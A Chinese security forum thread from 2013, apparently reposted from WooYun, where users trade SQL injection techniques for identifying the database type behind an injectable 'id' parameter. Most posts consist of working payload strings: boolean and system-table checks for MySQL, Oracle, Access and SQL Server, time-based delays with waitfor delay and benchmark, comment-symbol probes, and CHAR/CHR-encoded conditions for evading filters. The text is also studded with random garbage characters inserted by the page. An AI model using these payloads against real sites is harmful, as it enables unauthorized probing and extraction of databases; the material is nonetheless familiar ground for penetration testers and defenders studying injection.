找回密码
 立即注册
查看: 2802|回复: 0
打印 上一主题 下一主题

一个注射点如何最快速确认是什么类型数据库

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-11 09:54:04 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
一个注射点如何最快速确认是什么类型数据库
% ]. T" F( X8 h  k- }% _xsser (十根阳具有长短!!) | 2013-02-05 12:36$ O" V$ j2 I! m! v2 A
假设这么一个注射点:
: C; o" i8 D: l4 ?' ?show.html?id=2# C" U# }4 R+ U  K  I: q
mysql:id=2 and version()>00 a# q. P; m0 f  j
oracle:id=2 and '1'||'1'='11, M' ~: ]" v, F; f$ F
其他的欢迎补充$ b7 H( h3 E( L' }4 o
1#8 B- l$ i/ I0 N, _8 a
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47* ~# `: H9 {# Q/ e7 T6 i
Access:
: H: p8 V. Y) J) I! F" jaNd aSc(cHr(97))=97" K  a0 F& `4 N' `" ^1 y- y9 b
and exists(select id from MSysAccessObjects)
1 l. ]3 w5 d) L4 n( USQL Server:
5 j+ ]% M9 N( a1 s* Q; l1 P2 land exists(select id from sysobjects)
% N* e% P9 E6 A- ^1 q. Gand length(user)>0! e" E0 J& D; r, w+ v: E
MySQL:
9 @& D5 h. [# H- mand length(user())>0+ g( L7 H7 v& m5 S; Q
2#
9 b+ Z4 I- l5 B* R- M+ S1 ~& `xsser (十根阳具有长短!!) | 2013-02-05 12:48
, ?( i" Z7 v3 u( ^9 X@upload 如果这些都不是呢…. @# c. o  h1 }$ ~  o$ z5 _
3#- H/ @, w8 z( h/ g
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
( C7 ~! f# _: s8 K( J: ?3 J@xsser 不快速的,延时注入* ]0 ?, f- M2 I! p# ~
不知道这样写对不对& d* ~6 m! Y- K1 F
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'3 O- b' m' s  l: D7 F1 @
mysql:id=2 and select benchmark(1e8,current_date());
' E% @  Z1 `. S. u) {4#
: d* j8 L9 {2 L5 H7 D1 nupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
: N; C( Y2 @6 x" e( B7 {, a最快的貌似是看报错信息
( H" A! q/ ?3 o  j2 {oracle error/ J6 h( d  ~; t
mssql error# J1 O, \; Y5 F
mysql error
4 M" ]+ [1 e0 ^7 M: v, ~" }5#; K3 X' h% C8 B! C& h5 b% ^* J
Nimda (你们都是坏银~) | 2013-02-05 13:14/ D. U7 w2 s8 v4 O# x$ E' I* y
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)# S" W) g% q# |+ i/ Y) v8 G/ A
6#
6 l0 Z- v" b" o+ I& {upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:217 ]4 c4 V/ F$ b! }
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:( x6 }* c: ^* v1 F8 }+ D3 v
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
3 y% q( ?2 [0 L6 E' K“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。; B5 S1 e3 {) {5 e( R
7#
1 |& U+ ]! W) W( s( Y% `) E_Evil (HackEnd) | 2013-02-05 13:333 P/ T' {. b! z7 Y
PostgreSQL, I- R0 U/ \6 Y1 T- H9 ]
8#7 s) O7 Q# m6 _4 t# r4 @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:429 S& A8 k$ w6 J: V: _  r
切换编码 and 1=1
' I! U" n* R' C5 Q; S4 z: i) koracle:. K+ y) V" P+ ~+ O4 K4 y  f
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
- v0 P9 b1 C% f9 A6 v# H! E" Emssql:
  c& z" Z+ @! [* N/ _+ w5 aCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)6 {( N5 u* K9 t  _( x% M* d0 K5 R
mysql:
: D1 v5 v! f4 l8 DCHAR(97, 110, 100, 32, 49, 61, 49)( b" u6 d# z& K% z% B+ d' ^7 D
9#
) S! R& f( A7 j8 y! {xsser (十根阳具有长短!!) | 2013-02-05 14:31
! W. Y, V& W  U+ p, P* `. U@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
# L& e; K0 g1 x! I$ v0 Q2 h0 E10#
5 J$ B) Z1 _; x  V- kupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46+ a+ _( L9 b% q0 L" w5 Y, s0 x
@xsser 是奇葩数据库类型的么?
4 `$ a! O, g+ ]根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:8 f* q( K2 Z) M
1.是否可以使用特定的函数来判断,该数据库特有的9 y/ m6 v# A( H1 N5 V5 \1 A& N
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
; ?7 U- N: z. @! m) S' F( C3.是否可以编码查询. ?$ f) i5 l! q% F
4.是否显可以利用错信息
' {2 I1 h- @' k. Q5 }  a5.是否存在数据库某些特性辅助判断
# ?# E4 L+ |- C* p, A$ T! H; M个人见解' C: f$ k7 Y# \
11#0 {0 b& k2 u) U. k
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55: p* ~3 d+ @7 e' u1 q/ P
已收藏,mssql可以直接看到错误提示的吧~/ V7 j7 n, ?  E- ~, ~- d
12#! N$ d  N% G4 j3 G
Passer_by | 2013-02-05 15:09
- x& T1 m: b4 v$ ]3 b6 n3 \曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
6 s0 [2 u, G4 ofrom:http://zone.wooyun.org/content/260
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表